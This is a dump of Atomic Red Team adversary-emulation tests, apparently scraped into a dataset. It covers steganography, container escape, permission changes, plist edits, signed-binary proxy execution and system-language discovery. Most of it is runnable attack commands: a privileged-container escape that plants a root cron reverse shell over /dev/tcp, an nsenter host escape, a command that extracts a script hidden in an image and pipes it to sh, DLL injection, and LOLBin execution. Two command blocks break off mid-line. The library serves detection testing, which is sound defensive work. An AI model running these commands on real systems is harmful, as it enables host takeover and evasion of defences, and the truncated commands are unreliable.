deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1001.002: Data Obfuscation via Steganography
Test: Steganographic Tarball Embedding
Platforms: windows
Executor: powershell

Description:
This atomic test, named "Steganographic Tarball Embedding", simulates the technique of data obfuscation via steganography by embedding a tar archive file (tarball) 
within an image.

The test begins by ensuring the availability of the image file and the tarball file containing data . It then generates random passwords and saves them to a 
file. Subsequently, the tarball file is created, containing the passwords file. The test executor command reads the contents of the image 
file and the tarball file as byte arrays and appends them together to form a new image file. This process effectively embeds the tarball 
file within the image, utilizing steganography techniques for data obfuscation.

This atomic test simulates the technique of data obfuscation via steganography, enabling attackers to clandestinely transfer files across systems undetected. 
By embedding the tarball file within the image, adversaries can obscure their activities, facilitating covert communication and data exfiltration.


Command:
Get-Content "#{image_file}", "#{tar_file}" -Encoding byte -ReadCount 0 | Set-Content "#{new_image_file}" -Encoding byte


Cleanup:
Set-ExecutionPolicy Bypass -Scope Process -Force -ErrorAction Ignore
Remove-Item -Path "#{new_image_file}" -Force -ErrorAction Ignore


Dependencies:
Image file must exist

File to hide within tarz file must exist

Tarz file to embed in image must exist
Atomic Red Team — T1001.002: Data Obfuscation via Steganography
Test: Embedded Script in Image Execution via Extract-Invoke-PSImage
Platforms: windows
Executor: powershell

Description:
This atomic test demonstrates the technique of data obfuscation via steganography, where a PowerShell script is concealed within an image file. 
The PowerShell script is embedded using steganography techniques, making it undetectable by traditional security measures. The script is hidden 
within the pixels of the image, enabling attackers to covertly transfer and execute malicious code across systems.

The test begins by ensuring the availability of the malicious image file and the Extract-Invoke-PSImage script. The test proceeds to extract the hidden 
PowerShell script (decoded.ps1) from the image file using the Extract-Invoke-PSImage tool. The extracted script is then decoded from base64 encoding and saved as a 
separate PowerShell (textExtraction.ps1). Consequently, the textExtraction.ps1 script is executed.

In the case of this atomic test, the malicious image file which is downloaded has the powershell command Start-Process notepad embedded within in base64. This
is done to emulate an attackers behaviour in the case they were to execute malware embedded within the image file. 


Command:
cd "PathToAtomicsFolder\ExternalPayloads\"
Import-Module .\Extract-Invoke-PSImage.ps1
$extractedScript=Extract-Invoke-PSImage -Image "#{image_file}" -Out "$HOME\result.ps1"
$scriptContent = Get-Content "$HOME\result.ps1" -Raw
$base64Pattern = "(?<=^|[^A-Za-z0-9+/])(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}(==)?|[A-Za-z0-9+/]{3}=)?(?=$|[^A-Za-z0-9+/])"
$base64Strings = [regex]::Matches($scriptContent, $base64Pattern) | ForEach-Object { $_.Value }
$base64Strings | Set-Content "$HOME\decoded.ps1"
$decodedContent = Get-Content "$HOME\decoded.ps1" -Raw
$decodedText = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($decodedContent))
$textPattern = '^.+'  
$textMatches = [regex]::Matches($decodedText, $textPattern) | ForEach-Object { $_.Value }
$scriptPath = "$HOME\textExt

Cleanup:
Set-ExecutionPolicy Bypass -Scope Process -Force -ErrorAction Ignore
Remove-Item -Path "$HOME\result.ps1" -Force -ErrorAction Ignore 
Remove-Item -Path "$HOME\textExtraction.ps1" -Force -ErrorAction Ignore
Remove-Item -Path "$HOME\decoded.ps1" -Force -ErrorAction Ignore        


Dependencies:
Image file must exist

Extract-Invoke-PSImage must exist
Atomic Red Team — T1001.002: Data Obfuscation via Steganography
Test: Execute Embedded Script in Image via Steganography
Platforms: linux
Executor: sh

Description:
This atomic test demonstrates the execution of an embedded script in an image file using steganography techniques. The script is first encoded in base64 and then embedded within the pixels of the image. The modified image is created, and the script is extracted and executed on the target system.

Command:
cat "#{script}" | base64 | xxd -p | sed 's/../& /g' | xargs -n1 | xxd -r -p | cat "#{image}" - > "#{evil_image}"; strings "#{evil_image}" | tail -n 1 | base64 -d | sh

Cleanup:
rm "#{evil_image}"
Atomic Red Team — T1611: Escape to Host
Test: Deploy container using nsenter container escape
Platforms: containers
Executor: sh

Description:
In this escape `kubectl` is used to launch a new pod, with a container that has the host pids mapped into the container (`hostPID:true`). It uses the alpine linux container image. It runs with privilege on the host (`privileged:true`). When the container is launched the command `nsenter --mount=/proc/1/ns/mnt -- /bin/bash` is ran. Since the host processes have been mapped into the container, the container enters the host namespace, escaping the container.

Additional Details:
- https://twitter.com/mauilion/status/[PII_REDACTED]80751104
- https://securekubernetes.com/scenario_2_attack/


Command:
kubectl --context kind-atomic-cluster run atomic-nsenter-escape-pod --restart=Never -ti --rm --image alpine --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"securityContext":{"privileged":true}}]}}'


Cleanup:
kubectl --context kind-atomic-cluster delete pod atomic-escape-pod


Dependencies:
Verify docker is installed.
Verify docker service is running.
Verify kind is in the path.
Atomic Red Team — T1611: Escape to Host
Test: Mount host filesystem to escape privileged Docker container
Platforms: containers
Executor: sh

Description:
This technique abuses privileged Docker containers to mount the host's filesystem and then create a cron job to launch a reverse shell as the host's superuser.
The container running the test needs be privileged.  It may take up to a minute for this to run due to how often crond triggers a job.
Dev note: the echo to create cron_filename is broken up to prevent localized execution of hostname and id by Powershell. 


Command:
if [ ! -d #{mount_point} ]; then mkdir #{mount_point} ; mount #{mount_device} #{mount_point}; fi
echo -n "* * * * * root /bin/bash -c '/bin/bash -c echo \"\"; echo \"hello from host! " > #{mount_point}#{cron_path}/#{cron_filename}
echo -n "$" >> #{mount_point}#{cron_path}/#{cron_filename}
echo -n "(hostname) " >> #{mount_point}#{cron_path}/#{cron_filename}
echo -n "$" >> #{mount_point}#{cron_path}/#{cron_filename}
echo "(id)\" >& /dev/tcp/#{listen_address}/#{listen_port} 0>&1'" >> #{mount_point}#{cron_path}/#{cron_filename}
netcat -l -p #{listen_port} 2>&1


Cleanup:
rm #{mount_point}#{cron_path}/#{cron_filename}
umount #{mount_point}
rmdir #{mount_point}


Dependencies:
Verify mount is installed.
Verify container is privileged.
Verify mount device (/dev/dm-0) exists.
Atomic Red Team — T1611: Escape to Host
Test: Privilege Escalation via Docker Volume Mapping
Platforms: containers
Executor: sh

Description:
This test demonstrates privilege escalation by abusing Docker's volume mapping
feature to gain access to the host file system. By mounting the root directory
of the host into a Docker container, the attacker can use chroot to operate as
root on the host system.


Command:
echo "Current user: #{username}"
sudo -u docker_user sh -c "sudo docker run -v /:/mnt --rm --name t1611_privesc -it alpine chroot /mnt id"


Cleanup:
USERNAME="#{username}"; SUDOERS_FILE="/etc/sudoers.d/$USERNAME"; id "$USERNAME" &>/dev/null && userdel -r "$USERNAME" && echo -e "$USERNAME is deleted."; [[ -f "$SUDOERS_FILE" ]] && rm -f "$SUDOERS_FILE"; echo "Cleanup complete."


Dependencies:
Docker
Docker Privileged User
Atomic Red Team — T1222: File and Directory Permissions Modification
Test: Enable Local and Remote Symbolic Links via fsutil
Platforms: windows
Executor: command_prompt

Description:
Use fsutil to enable both ‘remote to local’ and ‘remote to remote’ symbolic links. This allows access to files from local shortcuts with local or remote paths.
[reference](https://symantec-enterprise-blogs.security.com/threat-intelligence/noberus-blackcat-alphv-rust-ransomware/)


Command:
fsutil behavior set SymlinkEvaluation R2L:1
fsutil behavior set SymlinkEvaluation R2R:1


Cleanup:
fsutil behavior set SymlinkEvaluation R2L:0
fsutil behavior set SymlinkEvaluation R2R:0
Atomic Red Team — T1222: File and Directory Permissions Modification
Test: Enable Local and Remote Symbolic Links via reg.exe
Platforms: windows
Executor: command_prompt

Description:
Use reg.exe to enable both ‘remote to local’ and ‘remote to remote’ symbolic links. This allows access to files from local shortcuts with local or remote paths.
[reference](https://symantec-enterprise-blogs.security.com/threat-intelligence/noberus-blackcat-alphv-rust-ransomware/)


Command:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\FileSystem" /v SymlinkRemoteToLocalEvaluation /t REG_DWORD /d "1" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\FileSystem" /v SymlinkRemoteToRemoteEvaluation /t REG_DWORD /d "1" /f


Cleanup:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\FileSystem" /v SymlinkRemoteToLocalEvaluation /t REG_DWORD /d "0" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\FileSystem" /v SymlinkRemoteToRemoteEvaluation /t REG_DWORD /d "0" /f
Atomic Red Team — T1222: File and Directory Permissions Modification
Test: Enable Local and Remote Symbolic Links via Powershell
Platforms: windows
Executor: powershell

Description:
Use Powershell to enable both ‘remote to local’ and ‘remote to remote’ symbolic links. This allows access to files from local shortcuts with local or remote paths.
[reference](https://symantec-enterprise-blogs.security.com/threat-intelligence/noberus-blackcat-alphv-rust-ransomware/)


Command:
New-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\Filesystems\NTFS -Name SymlinkRemoteToLocalEvaluation -PropertyType DWORD -Value 1 -Force -ErrorAction Ignore
New-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\Filesystems\NTFS -Name SymlinkRemoteToRemoteEvaluation -PropertyType DWORD -Value 1 -Force -ErrorAction Ignore


Cleanup:
New-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\Filesystems\NTFS -Name SymlinkRemoteToLocalEvaluation -PropertyType DWORD -Value 0 -Force -ErrorAction Ignore
New-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\Filesystems\NTFS -Name SymlinkRemoteToRemoteEvaluation -Prop
Atomic Red Team — T1647: Plist File Modification
Test: Plist Modification
Platforms: macos
Executor: manual

Description:
Modify MacOS plist file in one of two directories
# T1647 - Plist File Modification

## Description from ATT&CK

> Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the <code>info.plist</code> file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format.(Citation: fileinfo plist file description)
> 
> Adversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. [Hidden Window](https://attack.mitre.org/techniques/T1564/003)) or running additional commands for persistence (ex: [Launch Agent](https://attack.mitre.org/techniques/T1543/001)/[Launch Daemon](https://attack.mitre.org/techniques/T1543/004) or [Re-opened Applications](https://attack.mitre.org/techniques/T1547/007)).
> 
> For example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist` file, which controls apps that appear in the Dock. Adversaries can also modify the <code>LSUIElement</code> key in an application’s <code>info.plist</code> file  to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as <code>LSEnvironment</code>, to enable persistence via [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006).(Citation: wardle chp2 persistence)(Citation: eset_osx_flashback)

[Source](https://attack.mitre.org/techniques/T1647)

## Atomic Tests

- [Atomic Test #1: Plist Modification](#atomic-test-1-plist-modification)

### Atomic Test #1: Plist Modification

Modify MacOS plist file in one of two directories

**Supported Platforms:** macOS

**auto_generated_guid:** `394a538e-09bb-4a4a-95d1-b93cf12682a8`

#### Attack Commands: Run it with these steps! 
1. Modify a .plist in

    /Library/Preferences

    OR

    ~/Library/Preferences

2. Subsequently, follow the steps for adding and running via [Launch Agent](Persistence/Launch_Agent.md)
Atomic Red Team — T1218: Signed Binary Proxy Execution
Test: mavinject - Inject DLL into running process
Platforms: windows
Executor: command_prompt

Description:
Injects arbitrary DLL into running process specified by process ID. Requires Windows 10.


Command:
mavinject.exe #{process_id} /INJECTRUNNING "#{dll_payload}"


Dependencies:
T1218.dll must exist on disk at specified location (#{dll_payload})
Atomic Red Team — T1218: Signed Binary Proxy Execution
Test: Register-CimProvider - Execute evil dll
Platforms: windows
Executor: command_prompt

Description:
Execute arbitrary dll. Requires at least Windows 8/2012. Also note this dll can be served up via SMB


Command:
C:\Windows\SysWow64\Register-CimProvider.exe -Path "#{dll_payload}"


Dependencies:
T1218-2.dll must exist on disk at specified location (#{dll_payload})
Atomic Red Team — T1218: Signed Binary Proxy Execution
Test: InfDefaultInstall.exe .inf Execution
Platforms: windows
Executor: command_prompt

Description:
Test execution of a .inf using InfDefaultInstall.exe

Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Infdefaultinstall.yml


Command:
InfDefaultInstall.exe "#{inf_to_execute}"


Dependencies:
INF file must exist on disk at specified location (#{inf_to_execute})
Atomic Red Team — T1218: Signed Binary Proxy Execution
Test: ProtocolHandler.exe Downloaded a Suspicious File
Platforms: windows
Executor: command_prompt

Description:
Emulates attack via documents through protocol handler in Microsoft Office.  On successful execution you should see Microsoft Word launch a blank file.


Command:
FOR /F "tokens=2*" %a in ('reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Winword.exe" /V PATH') do set microsoft_wordpath=%b
call "%microsoft_wordpath%\protocolhandler.exe" "ms-word:nft|u|#{remote_url}"


Dependencies:
Microsoft Word must be installed
Atomic Red Team — T1218: Signed Binary Proxy Execution
Test: Microsoft.Workflow.Compiler.exe Payload Execution
Platforms: windows
Executor: powershell

Description:
Emulates attack with Microsoft.Workflow.Compiler.exe running a .Net assembly that launches calc.exe


Command:
#{mwcpath}\#{mwcname} "#{xml_payload}" output.txt


Dependencies:
.Net must be installed for this test to work correctly.
Atomic Red Team — T1218: Signed Binary Proxy Execution
Test: Renamed Microsoft.Workflow.Compiler.exe Payload Executions
Platforms: windows
Executor: powershell

Description:
Emulates attack with a renamed Microsoft.Workflow.Compiler.exe running a .Net assembly that launches calc.exe


Command:
&"#{renamed_binary}" "#{xml_payload}" output.txt


Dependencies:
.Net must be installed for this test to work correctly.
Atomic Red Team — T1218: Signed Binary Proxy Execution
Test: Invoke-ATHRemoteFXvGPUDisablementCommand base test
Platforms: windows
Executor: powershell

Description:
RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).

One of the PowerShell functions called by RemoteFXvGPUDisablement.exe is Get-VMRemoteFXPhysicalVideoAdapter, a part of the Hyper-V module. This atomic test influences RemoteFXvGPUDisablement.exe to execute custom PowerShell code by using a technique referred to as "PowerShell module load-order hijacking" where a module containing, in this case, an implementation of the Get-VMRemoteFXPhysicalVideoAdapter is loaded first by way of introducing a temporary module into the first directory listed in the %PSModulePath% environment variable or within a user-specified module directory outside of %PSModulePath%. Upon execution the temporary module is deleted.

Invoke-ATHRemoteFXvGPUDisablementCommand is used in this test to demonstrate how a PowerShell host executable can be directed to user-supplied PowerShell code without needing to supply anything at the command-line. PowerShell code execution is triggered when supplying the "Disable" argument to RemoteFXvGPUDisablement.exe.

The Invoke-ATHRemoteFXvGPUDisablementCommand function outputs all relevant execution-related artifacts.

Reference: https://github.com/redcanaryco/AtomicTestHarnesses/blob/master/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1


Command:
Invoke-ATHRemoteFXvGPUDisablementCommand -ModuleName #{module_name} -ModulePath #{module_path}

Dependencies:
The AtomicTestHarnesses module must be installed and Invoke-ATHRemoteFXvGPUDisablementCommand must be exported in the module.
Atomic Red Team — T1218: Signed Binary Proxy Execution
Test: DiskShadow Command Execution
Platforms: windows
Executor: powershell

Description:
Emulates attack with a DiskShadow.exe (LOLBIN installed by default on Windows) being used to execute arbitrary commands Reference: https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/


Command:
#{dspath} -S #{txt_payload} 


Dependencies:
txt file must exist on disk at specified location (#{txt_payload})
DiskShadow.exe must exist on disk at specified location (#{dspath})
Atomic Red Team — T1218: Signed Binary Proxy Execution
Test: Load Arbitrary DLL via Wuauclt (Windows Update Client)
Platforms: windows
Executor: command_prompt

Description:
This test uses Wuauclt to load an arbitrary DLL. Upon execution with the default inputs, calculator.exe will be launched. 
See https://dtm.uk/wuauclt/


Command:
wuauclt.exe /UpdateDeploymentProvider "#{arbitrary_dll}" /RunHandlerComServer


Cleanup:
taskkill /f /im calculator.exe > nul 2>&1

Dependencies:
DLL to load must exist on disk as specified location (#{arbitrary_dll})
Atomic Red Team — T1218: Signed Binary Proxy Execution
Test: Lolbin Gpscript logon option
Platforms: windows
Executor: command_prompt

Description:
Executes logon scripts configured in Group Policy.
https://lolbas-project.github.io/lolbas/Binaries/Gpscript/
https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/


Command:
Gpscript /logon
Atomic Red Team — T1218: Signed Binary Proxy Execution
Test: Lolbin Gpscript startup option
Platforms: windows
Executor: command_prompt

Description:
Executes startup scripts configured in Group Policy
https://lolbas-project.github.io/lolbas/Binaries/Gpscript/
https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/


Command:
Gpscript /startup
Atomic Red Team — T1218: Signed Binary Proxy Execution
Test: Lolbas ie4uinit.exe use as proxy
Platforms: windows
Executor: command_prompt

Description:
Executes commands from a specially prepared ie4uinit.inf file.
Poc from : https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/
Reference: https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/


Command:
copy #{Path_ie4uinit} %TEMP%\ie4uinit.exe
copy "#{Path_inf}" %TEMP%\ieuinit.inf
%TEMP%\ie4uinit.exe -BaseSettings


Cleanup:
del %TEMP%\ie4uinit.exe >nul 2>&1
del %TEMP%\ieuinit.inf >nul 2>&1


Dependencies:
ieuinit.inf must exist on disk at specified location (#{Path_inf})
Atomic Red Team — T1218: Signed Binary Proxy Execution
Test: LOLBAS CustomShellHost to Spawn Process
Platforms: windows
Executor: powershell

Description:
This test simulates an adversary copying `customshellhost.exe` and `calc.exe` from `C:\windows\system32\` to `C:\temp\`, renaming `calc.exe` to `explorer.exe`.
Upon execution, customshellhost.exe will spawn calc.exe.
Note this will only work on Windows 10 or 11.
[LOLBAS](https://lolbas-project.github.io/lolbas/Binaries/CustomShellHost/)
[BishopFox](https://bishopfox.com/blog/edr-bypass-with-lolbins)


Command:
if (-not (Test-Path #{dest_path})) {
New-Item -Path #{dest_path} -ItemType Directory
} else {
Write-Host "Directory #{dest_path} already exists." }
Copy-Item -Path "C:\windows\system32\customshellhost.exe" -Destination "#{dest_path}\customshellhost.exe" -Force
Copy-Item -Path "C:\windows\system32\calc.exe" -Destination "#{dest_path}\explorer.exe" -Force
#{dest_path}\customshellhost.exe


Cleanup:
Remove-Item -Path #{dest_path} -Recurse -Force
Atomic Red Team — T1218: Signed Binary Proxy Execution
Test: Provlaunch.exe Executes Arbitrary Command via Registry Key
Platforms: windows
Executor: command_prompt

Description:
Provlaunch.exe executes a command defined in the Registry. This test will create the necessary registry keys and values, then run provlaunch.exe to execute an arbitrary command.
- https://twitter.com/0gtweet/status/[PII_REDACTED]62153472
- https://lolbas-project.github.io/lolbas/Binaries/Provlaunch/
Registry keys are deleted after successful execution.


Command:
reg.exe add HKLM\SOFTWARE\Microsoft\Provisioning\Commands\LOLBin\dummy1 /v altitude /t REG_DWORD /d 0
reg add HKLM\SOFTWARE\Microsoft\Provisioning\Commands\LOLBin\dummy1\dummy2 /v Commandline /d calc.exe
c:\windows\system32\provlaunch.exe LOLBin
Atomic Red Team — T1218: Signed Binary Proxy Execution
Test: LOLBAS Msedge to Spawn Process
Platforms: windows
Executor: powershell

Description:
Executes a process under a trusted Microsoft signed binary,mseddge. This test will spawn "calc.exe" as a child process of msedge.exe
- https://lolbas-project.github.io/lolbas/Binaries/Msedge/


Command:
$edgePath64 = "C:\Program Files\Microsoft\Edge\Application\msedge.exe"
if (Test-Path $edgePath64) {
    $edgePath = $edgePath64
} else {
    # Check 32-bit Edge installation path
    $edgePath32 = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    if (Test-Path $edgePath32) {
        $edgePath = $edgePath32
    } else {
        exit 1
    }
}
& $edgePath --disable-gpu-sandbox --gpu-launcher="C:\\Windows\\System32\\calc.exe &&"
sleep 5
taskkill -f -im msedge.exe
taskkill -f -im calc.exe
taskkill -f -im win32calc.exe
Atomic Red Team — T1218: Signed Binary Proxy Execution
Test: System Binary Proxy Execution - Wlrmdr Lolbin
Platforms: windows
Executor: powershell

Description:
Use wlrmdr(Windows Logon Reminder executable) as a proxy binary to evade defensive countermeasures

Command:
wlrmdr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u "#{payload_path}"
Atomic Red Team — T1614.001: System Location Discovery: System Language Discovery
Test: Discover System Language by Registry Query
Platforms: windows
Executor: command_prompt

Description:
Identify System language by querying the registry on an endpoint. 

Upon successful execution, result in number format can be looked up to correlate the language.


Command:
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language
Atomic Red Team — T1614.001: System Location Discovery: System Language Discovery
Test: Discover System Language with chcp
Platforms: windows
Executor: command_prompt

Description:
Identify System language with the chcp command.

Upon successful execution, result in number format can be looked up to correlate the language.


Command:
chcp